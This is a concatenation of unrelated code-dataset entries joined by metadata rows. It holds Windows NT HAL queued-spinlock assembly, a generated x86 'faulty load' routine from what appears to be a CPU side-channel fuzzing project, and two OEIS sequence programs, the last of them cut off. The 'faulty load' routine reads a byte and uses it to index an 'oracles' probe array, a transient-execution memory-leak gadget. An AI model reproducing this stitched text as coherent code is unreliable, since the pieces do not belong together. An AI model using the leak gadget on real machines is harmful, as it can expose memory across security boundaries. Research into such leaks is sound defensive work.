xor eax, eax ; return FALSE
fstRet ExTryToAcquireFastMutex
endif
fstENDP ExTryToAcquireFastMutex
page ,132
subttl "Acquire Queued SpinLock"
;++
;
; KIRQL
; KeAcquireQueuedSpinLock (
; IN KSPIN_LOCK_QUEUE_NUMBER Number
; )
;
; KIRQL
; KeAcquireQueuedSpinLockRaiseToSynch (
; IN KSPIN_LOCK_QUEUE_NUMBER Number
; )
;
; VOID
; KeAcquireInStackQueuedSpinLock (
; IN PKSPIN_LOCK SpinLock,
; IN PKLOCK_QUEUE_HANDLE LockHandle
; )
;
; VOID
; KeAcquireInStackQueuedSpinLockRaiseToSynch (
; IN PKSPIN_LOCK SpinLock,
; IN PKLOCK_QUEUE_HANDLE LockHandle
; )
;
; Routine Description:
;
; This function raises the current IRQL to DISPATCH/SYNCH level
; and acquires the specified queued spinlock.
;
; Arguments:
;
; Number (ecx) - Supplies the queued spinlock number.
;
; Return Value:
;
; The previous IRQL is returned as the function value.
;
;
; Routine Description:
;
; The Kx versions use a LOCK_QUEUE_HANDLE structure rather than
; LOCK_QUEUE structures in the PRCB. Old IRQL is stored in the
; LOCK_QUEUE_HANDLE.
;
; Arguments:
;
; SpinLock (ecx) Address of Actual Lock.
; LockHandle (edx) Address of lock context.
;
; Return Value:
;
; None. Actually returns OldIrql because common code is used
; for all implementations.
;
;--
; compile time assert sizeof(KSPIN_LOCK_QUEUE) == 8
.errnz (LOCK_QUEUE_HEADER_SIZE - 8)
; VOID
; KeAcquireInStackQueuedSpinLockRaiseToSynch (
; IN PKSPIN_LOCK SpinLock,
; IN PKLOCK_QUEUE_HANDLE LockHandle
; )
align 16
cPublicFastCall KeAcquireInStackQueuedSpinLockRaiseToSynch,2
cPublicFpo 0,1
push SYNCH_LEVEL ; raise to SYNCH_LEVEL
jmp short aqsl5 ; continue in common code
fstENDP KeAcquireInStackQueuedSpinLockRaiseToSynch
; VOID
; KeAcquireInStackQueuedSpinLockRaiseToSynch (
; IN PKSPIN_LOCK SpinLock,
; IN PKLOCK_QUEUE_HANDLE LockHandle
; )
cPublicFastCall KeAcquireInStackQueuedSpinLock,2
cPublicFpo 0,1
; Get old IRQL and raise to DISPATCH_LEVEL
push DISPATCH_LEVEL
aqsl5:
pop eax
push dword ptr PCR[PcIrql]
mov dword ptr PCR[PcIrql], eax
if DBG
cmp [esp], eax
ja short aqsl
endif
ifndef NT_UP
; store OldIrql and address of actual lock in the queued
; spinlock structure in the lock queue handle structure.
mov eax, [esp]
mov [edx].LqhLock, ecx
mov dword ptr [edx].LqhNext, 0
mov [edx].LqhOldIrql, al
; continue in common code. common code expects the
; address of the "lock structure" in edx, this is at
; offset LqhNext in the lock queue handle structure.
; not accidentally this offset is zero.
.errnz LqhNext
;; lea edx, [edx].LqhNext
jmp short aqsl15 ; continue in common code
else
pop eax ; get old irql and set
mov [edx].LqhOldIrql, al ; in lock queue handle.
ifdef IRQL_METRICS
inc HalRaiseIrqlCount
endif
fstRET KeAcquireInStackQueuedSpinLock
endif
fstENDP KeAcquireInStackQueuedSpinLock
; KIRQL
; KeAcquireQueuedSpinLockRaiseToSynch (
; IN KSPIN_LOCK_QUEUE_NUMBER Number
; )
cPublicFastCall KeAcquireQueuedSpinLockRaiseToSynch,1
cPublicFpo 0,1
push SYNCH_LEVEL
jmp short aqsl10 ; continue in common code
fstENDP KeAcquireQueuedSpinLockRaiseToSynch
; KIRQL
; KeAcquireQueuedSpinLock (
; IN KSPIN_LOCK_QUEUE_NUMBER Number
; )
;
cPublicFastCall KeAcquireQueuedSpinLock,1
cPublicFpo 0,1
; Get old IRQL and raise to DISPATCH_LEVEL
push DISPATCH_LEVEL
aqsl10:
pop eax
push dword ptr PCR[PcIrql]
mov dword ptr PCR[PcIrql], eax
if DBG
cmp [esp], eax
ja short aqsl
endif
ifndef NT_UP
; Get address of Lock Queue entry
mov edx, PCR[PcPrcb] ; get address of PRCB
lea edx, [edx+ecx*8].PbLockQueue ; get &PRCB->LockQueue[Number]
; Get address of the actual lock.
mov ecx, [edx].LqLock
aqsl15:
mov eax, edx ; save Lock Queue entry address
; Exchange the value of the lock with the address of this
; Lock Queue entry.
xchg [ecx], edx
cmp edx, 0 ; check if lock is held
jnz short @f ; jiff held
; note: the actual lock address will be word aligned, we use
; the bottom two bits as indicators, bit 0 is LOCK_QUEUE_WAIT,
; bit 1 is LOCK_QUEUE_OWNER.
or ecx, LOCK_QUEUE_OWNER ; mark self as lock owner
mov [eax].LqLock, ecx
; lock has been acquired, return.
endif
aqsl20: pop eax ; restore return value
ifdef IRQL_METRICS
inc HalRaiseIrqlCount
endif
fstRET KeAcquireQueuedSpinLock
ifndef NT_UP
@@:
; The lock is already held by another processor. Set the wait
; bit in this processor's Lock Queue entry, then set the next
; field in the Lock Queue entry of the last processor to attempt
; to acquire the lock (this is the address returned by the xchg
; above) to point to THIS processor's lock queue entry.
or ecx, LOCK_QUEUE_WAIT ; set lock bit
mov [eax].LqLock, ecx
mov [edx].LqNext, eax ; set previous acquirer's
; next field.
; Wait.
@@:
YIELD ; fire avoidance.
test [eax].LqLock, LOCK_QUEUE_WAIT ; check if still waiting
jz short aqsl20 ; jif lock acquired
jmp short @b ; else, continue waiting
endif
if DBG
; Raising to a lower IRQL. BugCheck.
;
; KeBugCheckEx(IRQL_NOT_GREATER_OR_EQUAL,
; current (old) IRQL,
; desired IRQL,
; lock number (only if Ke routine, not Kx),
; 8);
aqsl: pop edx
stdCall _KeBugCheckEx,<IRQL_NOT_GREATER_OR_EQUAL,edx,eax,ecx,8>
; never returns (but help the debugger back-trace)
int 3
endif
fstENDP KeAcquireQueuedSpinLock
page ,132
subttl "Release Queued SpinLock"
;++
;
; VOID
; KeReleaseInStackQueuedSpinLock (
; IN PKLOCK_QUEUE_HANDLE LockHandle
; )
;
; Routine Description:
;
; This function releases a queued spinlock and lowers the IRQL to
; its previous value.
;
; This differs from KeReleaseQueuedSpinLock in that this version
; uses a caller supplied lock context where that one uses a
; predefined lock context in the processor's PRCB.
;
; This version sets up a compatible register context and uses
; KeReleaseQueuedSpinLock to do the actual work.
;
; Arguments:
;
; LockHandle (ecx) - Address of Lock Queue Handle structure.
;
; Return Value:
;
; None.
;
;--
cPublicFastCall KeReleaseInStackQueuedSpinLock,1
cPublicFpo 0,0
movzx edx, byte ptr [ecx].LqhOldIrql ; get old irql
ifndef NT_UP
lea eax, [ecx].LqhNext ; get address of lock struct
jmp short rqsl10 ; continue in common code
else
jmp short rqsl30 ; continue in common code
endif
fstENDP KeReleaseInStackQueuedSpinLock
;++
;
; VOID
; KeReleaseQueuedSpinLock (
; IN KSPIN_LOCK_QUEUE_NUMBER Number,
; IN KIRQL OldIrql
; )
;
; Routine Description:
;
; This function releases a queued spinlock and lowers the IRQL to
; its previous value.
;
; Arguments:
;
; Number (ecx) - Supplies the queued spinlock number.
; OldIrql (dl) - Supplies the IRQL value to lower to.
;
; Return Value:
;
; None.
;
;--
cPublicFastCall KeReleaseQueuedSpinLock,2
cPublicFpo 0,0
ifndef NT_UP
; Get address of Lock Queue entry
mov eax, PCR[PcPrcb] ; get address of PRCB
lea eax, [eax+ecx*8].PbLockQueue ; get &PRCB->LockQueue[Number]
rqsl10:
push ebx ; need another register
cPublicFpo 0,1
; Clear the lock field in the Lock Queue entry.
mov ebx, [eax].LqNext
mov ecx, [eax].LqLock
;; and ecx, NOT (LOCK_QUEUE_OWNER) ; clear lock bit
; Quick check: If Lock Queue entry's Next field is not NULL,
; there is another waiter. Don't bother with ANY atomic ops
; in this case.
;
; Note: test clears CF and sets ZF appropriately, the following
; btr sets CF appropriately for the owner check.
test ebx, ebx
; clear the "I am owner" bit in the Lock entry.
btr ecx, 1 ; clear owner bit
if DBG
jnc short rqsl98 ; bugcheck if was not set
; tests CF
endif
mov [eax].LqLock, ecx ; clear lock bit in queue entry
jnz short rqsl40 ; jif another processor waits
; ebx contains zero here which will be used to set the new owner NULL
push eax ; save &PRCB->LockQueue[Number]
cPublicFpo 0,2
; Use compare exchange to attempt to clear the actual lock.
; If there are still no processors waiting for the lock when
; the compare exchange happens, the old contents of the lock
; should be the address of this lock entry (eax).
lock cmpxchg [ecx], ebx ; store 0 if no waiters
pop eax ; restore lock queue address
cPublicFpo 0,1
jnz short rqsl60 ; jif store failed
; The lock has been released. Lower IRQL and return to caller.
rqsl20:
pop ebx ; restore ebx
cPublicFpo 0,0
endif
rqsl30:
pushfd ; disable interrupts
cli
movzx edx, dl
xor ecx, ecx
mov dword ptr PCR[PcIrql], edx ; set new (lower) OldIrql
mov cl, dl ; ecx = zero extended OldIrql
mov edx, PCR[PcIRR] ; Check interrupt requests
and edx, FindHigherIrqlMask[ecx*4] ; edx = pending interrupts
; enabled by lower IRQL.
jne short rqsl80 ; Dispatch pending interrupts.
popfd ; restore interrupt state
fstRET KeReleaseQueuedSpinLock
ifndef NT_UP
; Another processor is waiting on this lock. Hand the lock
; to that processor by getting the address of its LockQueue
; entry, turning ON its owner bit and OFF its wait bit.
rqsl40: xor [ebx].LqLock, (LOCK_QUEUE_OWNER+LOCK_QUEUE_WAIT)
; Done, the other processor now owns the lock, clear the next
; field in my LockQueue entry (to preserve the order for entering
; the queue again) and proceed to lower IRQL and return.
mov [eax].LqNext, 0
jmp short rqsl20
; We get here if another processor is attempting to acquire
; the lock but had not yet updated the next field in this
; processor's Queued Lock Next field. Wait for the next
; field to be updated.
rqsl60: mov ebx, [eax].LqNext
test ebx, ebx ; check if still 0
jnz short rqsl40 ; jif Next field now set.
YIELD ; wait a bit
jmp short rqsl60 ; continue waiting
endif
cPublicFpo 0,1
rqsl80: bsr ecx, edx ; (ecx) = Pending irq level
cmp ecx, DISPATCH_LEVEL ; if new int at dispatch level
jle short @f ; no need to change 8259 masks
mov eax, PCR[PcIDR] ; Clear all the interrupt
SET_8259_MASK ; masks
@@:
mov edx, 1
shl edx, cl
xor PCR[PcIRR], edx ; clear bit in IRR
call SWInterruptHandlerTable[ecx*4] ; Dispatch the pending int.
popfd
cPublicFpo 0, 0
fstRet KfReleaseSpinLock ; all done
ifndef NT_UP
if DBG
cPublicFpo 0,1
rqsl98: stdCall _KeBugCheckEx,<SPIN_LOCK_NOT_OWNED,ecx,eax,0,1>
int 3 ; so stacktrace works
endif
endif
fstENDP KeReleaseQueuedSpinLock
page ,132
subttl "Try to Acquire Queued SpinLock"
;++
;
; LOGICAL
; KeTryToAcquireQueuedSpinLock (
; IN KSPIN_LOCK_QUEUE_NUMBER Number,
; OUT PKIRQL OldIrql
; )
;
; LOGICAL
; KeTryToAcquireQueuedSpinLockRaiseToSynch (
; IN KSPIN_LOCK_QUEUE_NUMBER Number,
; OUT PKIRQL OldIrql
; )
;
; Routine Description:
;
; This function raises the current IRQL to DISPATCH/SYNCH level
; and attempts to acquire the specified queued spinlock. If the
; spinlock is already owned by another thread, IRQL is restored
; to its previous value and FALSE is returned.
;
; Arguments:
;
; Number (ecx) - Supplies the queued spinlock number.
; OldIrql (edx) - A pointer to the variable to receive the old
; IRQL.
;
; Return Value:
;
; TRUE if the lock was acquired, FALSE otherwise.
; N.B. ZF is set if FALSE returned, clear otherwise.
;
;--
align 16
cPublicFastCall KeTryToAcquireQueuedSpinLockRaiseToSynch,2
cPublicFpo 0,0
mov eax, SYNCH_LEVEL ; raise to SYNCH
jmp short taqsl10 ; continue in common code
fstENDP KeTryToAcquireQueuedSpinLockRaiseToSynch
cPublicFastCall KeTryToAcquireQueuedSpinLock,2
cPublicFpo 0,0
mov eax, DISPATCH_LEVEL ; raise to DPC level
; Attempt to get the lock with interrupts disabled, raising
; the priority in the interrupt controller only if acquisition
; is successful.
taqsl10:
if DBG
cmp al, PCR[PcIrql]
jb short taqsl98
endif
ifndef NT_UP
push edx ; save address of OldIrql
pushfd ; save interrupt state
cli ; disable interrupts
; Get address of Lock Queue entry
mov edx, PCR[PcPrcb] ; get address of PRCB
lea edx, [edx+ecx*8].PbLockQueue ; get &PRCB->LockQueue[Number]
; Get address of the actual lock.
mov ecx, [edx].LqLock
if DBG
test ecx, LOCK_QUEUE_OWNER+LOCK_QUEUE_WAIT
jnz short taqsl99 ; jiff lock already held (or
; this proc already waiting).
endif
cmp dword ptr [ecx], 0 ; check if already taken
push eax ; save new IRQL
jnz taqsl60 ; jif already taken
xor eax, eax ; comparison value (not locked)
; Store the Lock Queue entry address in the lock ONLY if the
; current lock value is 0.
lock cmpxchg [ecx], edx
jnz short taqsl60
; Lock has been acquired.
; note: the actual lock address will be word aligned, we use
; the bottom two bits as indicators, bit 0 is LOCK_QUEUE_WAIT,
; bit 1 is LOCK_QUEUE_OWNER.
or ecx, LOCK_QUEUE_OWNER ; mark self as lock owner
mov [edx].LqLock, ecx
pop eax
endif
; Raise IRQL and return success.
mov ecx, PCR[PcIrql] ; ecx = OldIrql
mov dword ptr PCR[PcIrql], eax ; set new IRQL
ifndef NT_UP
popfd ; restore interrupt state
pop edx
endif
mov [edx], cl ; *OldIrql = OldIrql
xor eax, eax
or eax, 1 ; return TRUE
fstRET KeTryToAcquireQueuedSpinLock
ifndef NT_UP
taqsl60:
; The lock is already held by another processor. Indicate
; failure to the caller.
pop eax ; pop new IRQL off stack
popfd ; restore interrupt state
pop edx ; pop saved OldIrql address
xor eax, eax ; return FALSE
fstRET KeTryToAcquireQueuedSpinLock
endif
if DBG
taqsl98: stdCall _KeBugCheckEx,<IRQL_NOT_GREATER_OR_EQUAL,PCR[PcIrql],eax,ecx,9>
taqsl99: stdCall _KeBugCheckEx,<SPIN_LOCK_ALREADY_OWNED,ecx,edx,0,0>
; never returns (help the debugger back-trace)
int 3
endif
fstENDP KeTryToAcquireQueuedSpinLock
_TEXT$01 ends
end
| 27.757048 | 82 | 0.549246 |
f64267ec9e5ddf6cad3af70ee9f1ca6600ec04f4 | 4,276 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_1280_2771.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_1280_2771.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_1280_2771.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %rbp
push %rbx
push %rsi
lea addresses_WC_ht+0x9866, %rsi
and %rbp, %rbp
mov (%rsi), %ebx
nop
nop
add $10170, %r14
pop %rsi
pop %rbx
pop %rbp
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_PSE+0x6114, %rsi
lea addresses_RW+0x1c674, %rdi
nop
add %rdx, %rdx
mov $31, %rcx
rep movsq
nop
nop
nop
nop
nop
and $10280, %r9
// Faulty Load
lea addresses_WT+0x13c14, %rcx
inc %r8
movb (%rcx), %r9b
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 1280}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 59.388889 | 2,999 | 0.66043 |
077caa092488ee01a99ef6e835b194a6e3f1d071 | 623 | asm | Assembly | oeis/145/A145661.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/145/A145661.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/145/A145661.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A145661: Triangle T(n,k) = (-1)^k * A119258(n,k) read by rows, 0 <= k <= n.
; Submitted by Christian Krause
; 1,1,-1,1,-3,1,1,-5,7,-1,1,-7,17,-15,1,1,-9,31,-49,31,-1,1,-11,49,-111,129,-63,1,1,-13,71,-209,351,-321,127,-1,1,-15,97,-351,769,-1023,769,-255,1,1,-17,127,-545,1471,-2561,2815,-1793,511,-1,1,-19,161,-799,2561
lpb $0
mov $2,$0
seq $2,206735 ; Triangle T(n,k), read by rows, given by (0, 2, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) DELTA (1, 0, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) where DELTA is the operator defined in A084938.
add $1,$2
mul $1,-2
mov $3,$2
min $3,1
sub $0,$3
lpe
add $1,1
mov $0,$1
| 38.9375 | 210 | 0.553772 |
b0c75d2ddd63ca8bf4e4a6c77fe5238382645bf9 | 612 | asm | Assembly | oeis/273/A273372.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/273/A273372.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/273/A273372.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A273372: Squares ending in digit 1.
; 1,81,121,361,441,841,961,1521,1681,2401,2601,3481,3721,4761,5041,6241,6561,7921,8281,9801,10201,11881,12321,14161,14641,16641,17161,19321,19881,22201,22801,25281,25921,28561,29241,32041,32761,35721,36481,39601,40401,43681,44521,47961,48841,52441,53361,57121,58081,62001,63001,67081,68121,72361,73441,77841,78961,83521,84681,89401,90601,95481,96721,101761,103041,108241,109561,114921,116281,121801,123201,128881,130321,136161,137641,143641,145161,151321,152881,159201,160801,167281,168921,175561
add $0,1
mov $2,$0
div $0,2
mul $2,$0
bin $0,2
add $0,$2
mul $0,40
add $0,1
| 51 | 496 | 0.784314 |
00bee82eb712b8c769512508239b24c0799f2205 | 763 | asm | Assembly | 11-for.asm | mario21ic/nasm-demos | aedac550268e0f08a22126b5d1d87e9f0c97220d | [
"MIT"
] | null | null | null | 11-for.asm | mario21ic/nasm-demos | aedac550268e0f08a22126b5d1d87e9f0c97220d | [
"MIT"
] | null | null | null | 11-for.asm | mario21ic/nasm-demos | aedac550268e0f08a22126b5d1d87e9f0c97220d | [
"MIT"
] | null | null | null | ;section .bss
segment .bss
rpta resb 1
;section .text
segment .text
global _start
_start:
; example
;for (int ecx=3; ecx>0; ecx--)
; eax = eax + ecx
;mov ecx, 2 ; saldra 3=2+1
;mov ecx, 3 ; saldra 6=3+2+1
;mov ecx, 4 ; saldra : 10=5+4+3+2+1
mov ecx, 5 ; saldra ? 15=5+4+3+2+1
mov eax, 0 ; acumulador
for:
add eax, ecx
loop for ; va a decrementar y regresar a for hasta que ecx=0
add eax, 48 ; ascii
mov [rpta], eax
; Imprimir en pantalla
mov eax, 4
mov ebx, 1 ; codigo monitor
mov ecx, rpta ; direccion de memoria donde esta la data
mov edx, 1 ; cantidad de caracteres
int 0x80
; Finalizar
mov eax, 1
mov ebx, 0 ; Ok
;mov ebx, 1 ; Error
int 0x80
| 18.166667 | 64 | 0.57536 |
2b23e5a2ea8bc7e790d08b3c6e86071426dcca8e | 129 | asm | Assembly | Src/Ant8/Tests/aa8/basic/e_lc_1.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | null | null | null | Src/Ant8/Tests/aa8/basic/e_lc_1.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | null | null | null | Src/Ant8/Tests/aa8/basic/e_lc_1.asm | geoffthorpe/ant-architecture | d85952e3050c352d5d715d9749171a335e6768f7 | [
"BSD-3-Clause"
] | 1 | 2020-07-15T04:09:05.000Z | 2020-07-15T04:09:05.000Z | # $Id: e_lc_1.asm,v 1.1 2001/03/14 16:57:29 ellard Exp $
#@ tests for underflow in lc.
lc r2, -128 # OK
lc r2, -129 # Not OK
| 18.428571 | 56 | 0.612403 |
f55a3c12d23614a70c37984e926169da58898e86 | 281 | asm | Assembly | Base/hello.asm | adi-g15/LemonOS | 47a15ecc0efe47eeebde0b63d668fb70c9e22b57 | [
"BSD-2-Clause"
] | 685 | 2021-02-21T22:14:22.000Z | 2022-03-31T18:05:34.000Z | Base/hello.asm | adi-g15/LemonOS | 47a15ecc0efe47eeebde0b63d668fb70c9e22b57 | [
"BSD-2-Clause"
] | 22 | 2021-02-27T12:40:06.000Z | 2022-03-28T15:17:24.000Z | Base/hello.asm | adi-g15/LemonOS | 47a15ecc0efe47eeebde0b63d668fb70c9e22b57 | [
"BSD-2-Clause"
] | 36 | 2021-03-05T08:13:24.000Z | 2022-03-15T19:51:33.000Z | global _start
_start:
mov rax, 4 ; Write
mov rdi, 0 ; Stdout
mov rsi, string ; Data
mov rdx, string_end - string ; Length
int 0x69 ; Write
mov rax, 1 ; Exit
mov rdi, 0
int 0x69 ; Exit
string:
db "Hello, Lemon OS World!"
string_end:
| 15.611111 | 41 | 0.580071 |
c32be5c82d444d9217b7c69dabdbc7c037b73e2d | 799 | asm | Assembly | programs/oeis/128/A128967.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/128/A128967.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/128/A128967.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A128967: (n^3-n)*8^n.
; 0,384,12288,245760,3932160,55050240,704643072,8455716864,96636764160,1063004405760,11338713661440,117922622078976,1200666697531392,12006666975313920,118219490218475520,1148417904979476480,11024811887802974208,104735712934128254976,985747886438854164480,9200313606762638868480,85223957620538128465920,784060410108950781886464,7168552320996121434390528,65168657463601103949004800,589351337062131722669260800,5304162033559185504023347200,47525291820690302116049190912,424071834707698080420131241984,3769527419623982937067833262080,33387242859526706014029380321280,294728764553063335847983495249920,2593613128066957355462254758199296,22756863575297174215668815942909952,199122556283850274387102139500462080
add $0,2
mov $2,8
pow $2,$0
bin $0,3
mul $0,$2
div $0,512
mul $0,384
| 72.636364 | 704 | 0.901126 |
9893df6f3295d7b9fe977d00b6ce1de60feaf459 | 337 | asm | Assembly | programs/oeis/007/A007582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/007/A007582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/007/A007582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A007582: a(n) = 2^(n-1)*(1+2^n).
; 1,3,10,36,136,528,2080,8256,32896,131328,524800,2098176,8390656,33558528,134225920,536887296,2147516416,8590000128,34359869440,137439215616,549756338176,2199024304128,8796095119360,35184376283136,140737496743936,562949970198528,2251799847239680,9007199321849856
mov $1,2
pow $1,$0
add $1,1
bin $1,2
| 42.125 | 263 | 0.79822 |
58eca221bdb8a4df6f547c82bfd2004e959e1f33 | 392 | asm | Assembly | oeis/134/A134063.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/134/A134063.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/134/A134063.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A134063: a(n) = (1/2)*(3^n - 2^(n+1) + 3).
; Submitted by Jamie Morken(s2)
